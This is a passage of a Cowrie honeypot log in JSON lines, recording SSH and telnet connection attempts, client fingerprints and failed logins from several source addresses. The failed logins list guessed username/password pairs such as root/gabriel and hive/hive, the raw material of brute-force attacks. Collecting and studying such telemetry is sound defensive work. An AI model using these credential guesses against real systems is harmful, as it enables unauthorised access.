6","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:39.115516Z","src_ip":"31.40.204.166","session":"ffd64427c079","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:39.681899Z","src_ip":"103.91.246.101","session":"2de78e68762c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":55202,"dst_ip":"10.17.0.5","dst_port":22,"session":"548a22894a93","protocol":"ssh","message":"New connection: 103.27.238.116:55202 (10.17.0.5:22) [session: 548a22894a93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:39.759843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:39.765071Z","src_ip":"103.27.238.116","session":"548a22894a93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir","message":"login attempt [amir/amir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:39.790014Z","src_ip":"31.40.204.166","session":"ffd64427c079","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:40.040665Z","src_ip":"103.27.238.116","session":"548a22894a93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gabriel","message":"login attempt [root/gabriel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:40.859878Z","src_ip":"103.27.238.116","session":"548a22894a93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:40.927023Z","src_ip":"31.40.204.166","session":"ffd64427c079","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:42.135747Z","src_ip":"103.27.238.116","session":"548a22894a93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34526,"dst_ip":"10.17.0.5","dst_port":23,"session":"870d23bbb459","protocol":"telnet","message":"New connection: 152.42.224.71:34526 (10.17.0.5:23) [session: 870d23bbb459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:46.151522Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34534,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a77f4dabbff","protocol":"telnet","message":"New connection: 152.42.224.71:34534 (10.17.0.5:23) [session: 4a77f4dabbff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:48.025760Z"}
{"eventid":"cowrie.session.closed","duration":54.50112581253052,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:49.878793Z","src_ip":"152.42.224.71","session":"3b4d6cd3b40b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":60600,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b807b4a0a57","protocol":"ssh","message":"New connection: 31.40.204.166:60600 (159.203.135.109:22) [session: 7b807b4a0a57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:50.686858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:50.691402Z","src_ip":"31.40.204.166","session":"7b807b4a0a57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:50.822446Z","src_ip":"31.40.204.166","session":"7b807b4a0a57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"omm","message":"login attempt [omm/omm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:51.691888Z","src_ip":"31.40.204.166","session":"7b807b4a0a57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34540,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae92285b45ee","protocol":"telnet","message":"New connection: 152.42.224.71:34540 (10.17.0.5:23) [session: ae92285b45ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:52.406194Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:52.822909Z","src_ip":"31.40.204.166","session":"7b807b4a0a57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34542,"dst_ip":"10.17.0.5","dst_port":23,"session":"613e6d8a74a7","protocol":"telnet","message":"New connection: 152.42.224.71:34542 (10.17.0.5:23) [session: 613e6d8a74a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:53.316545Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48466,"dst_ip":"10.17.0.5","dst_port":23,"session":"456f7f38da65","protocol":"telnet","message":"New connection: 152.42.224.71:48466 (10.17.0.5:23) [session: 456f7f38da65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:55.867083Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34544,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8d99167485f","protocol":"telnet","message":"New connection: 152.42.224.71:34544 (10.17.0.5:23) [session: b8d99167485f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:56.154411Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48472,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f0d6e5c4b8b","protocol":"telnet","message":"New connection: 152.42.224.71:48472 (10.17.0.5:23) [session: 1f0d6e5c4b8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:58.142789Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48480,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7a4901ee057","protocol":"telnet","message":"New connection: 152.42.224.71:48480 (10.17.0.5:23) [session: b7a4901ee057]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:00.335540Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.84.80.65","src_port":51342,"dst_ip":"159.203.135.109","dst_port":23,"session":"14339d6df285","protocol":"telnet","message":"New connection: 47.84.80.65:51342 (159.203.135.109:23) [session: 14339d6df285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:00.374085Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.96.97","src_port":57100,"dst_ip":"10.17.0.5","dst_port":22,"session":"091db12bd184","protocol":"ssh","message":"New connection: 43.156.96.97:57100 (10.17.0.5:22) [session: 091db12bd184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:01.877488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:01.883154Z","src_ip":"43.156.96.97","session":"091db12bd184","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:02.121687Z","src_ip":"43.156.96.97","session":"091db12bd184","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":39278,"dst_ip":"159.203.135.109","dst_port":22,"session":"b02adbfbcbc9","protocol":"ssh","message":"New connection: 31.40.204.166:39278 (159.203.135.109:22) [session: b02adbfbcbc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:02.708988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:02.782725Z","src_ip":"31.40.204.166","session":"b02adbfbcbc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:02.885252Z","src_ip":"31.40.204.166","session":"b02adbfbcbc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jasper123","message":"login attempt [root/jasper123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:03.107713Z","src_ip":"43.156.96.97","session":"091db12bd184","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"almalinux","password":"almalinux","message":"login attempt [almalinux/almalinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:03.905087Z","src_ip":"31.40.204.166","session":"b02adbfbcbc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48484,"dst_ip":"10.17.0.5","dst_port":23,"session":"cde092e983ad","protocol":"telnet","message":"New connection: 152.42.224.71:48484 (10.17.0.5:23) [session: cde092e983ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:03.949471Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:04.347400Z","src_ip":"43.156.96.97","session":"091db12bd184","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:05.090820Z","src_ip":"31.40.204.166","session":"b02adbfbcbc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.294482946395874,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:07.269458Z","src_ip":"152.42.224.71","session":"92ab9bc28b3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00220084190369,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:08.466696Z","src_ip":"152.42.224.71","session":"16493a16d3ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52134,"dst_ip":"10.17.0.5","dst_port":23,"session":"d34964d1b30b","protocol":"telnet","message":"New connection: 152.42.224.71:52134 (10.17.0.5:23) [session: d34964d1b30b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:12.822760Z"}
{"eventid":"cowrie.session.closed","duration":17.79690194129944,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:13.951067Z","src_ip":"152.42.224.71","session":"b8d99167485f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":102.40572023391724,"message":"Connection lost after 102 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:14.465431Z","src_ip":"152.42.224.71","session":"756b1013c33c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":40010,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3f21c67c24e","protocol":"ssh","message":"New connection: 31.40.204.166:40010 (159.203.135.109:22) [session: c3f21c67c24e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:14.605455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:14.696939Z","src_ip":"31.40.204.166","session":"c3f21c67c24e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:14.890066Z","src_ip":"31.40.204.166","session":"c3f21c67c24e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hive","password":"hive","message":"login attempt [hive/hive] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:15.683990Z","src_ip":"31.40.204.166","session":"c3f21c67c24e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:16.887205Z","src_ip":"31.40.204.166","session":"c3f21c67c24e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.61762523651123,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:17.302653Z","src_ip":"152.42.224.71","session":"ed578ee7e085","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.04434823989868,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:21.360797Z","src_ip":"152.42.224.71","session":"613e6d8a74a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41324,"dst_ip":"10.17.0.5","dst_port":23,"session":"48b4a07c1c35","protocol":"telnet","message":"New connection: 152.42.224.71:41324 (10.17.0.5:23) [session: 48b4a07c1c35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:22.450518Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41340,"dst_ip":"10.17.0.5","dst_port":23,"session":"84831d42aaad","protocol":"telnet","message":"New connection: 152.42.224.71:41340 (10.17.0.5:23) [session: 84831d42aaad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:22.682960Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":56686,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a29acb641af","protocol":"ssh","message":"New connection: 190.85.41.170:56686 (10.17.0.5:22) [session: 4a29acb641af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:24.240377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:24.243992Z","src_ip":"190.85.41.170","session":"4a29acb641af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:24.316703Z","src_ip":"190.85.41.170","session":"4a29acb641af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"caonima","message":"login attempt [root/caonima] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:24.644036Z","src_ip":"190.85.41.170","session":"4a29acb641af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:48:25.720577Z","src_ip":"190.85.41.170","session":"4a29acb641af","protocol":"ssh"}
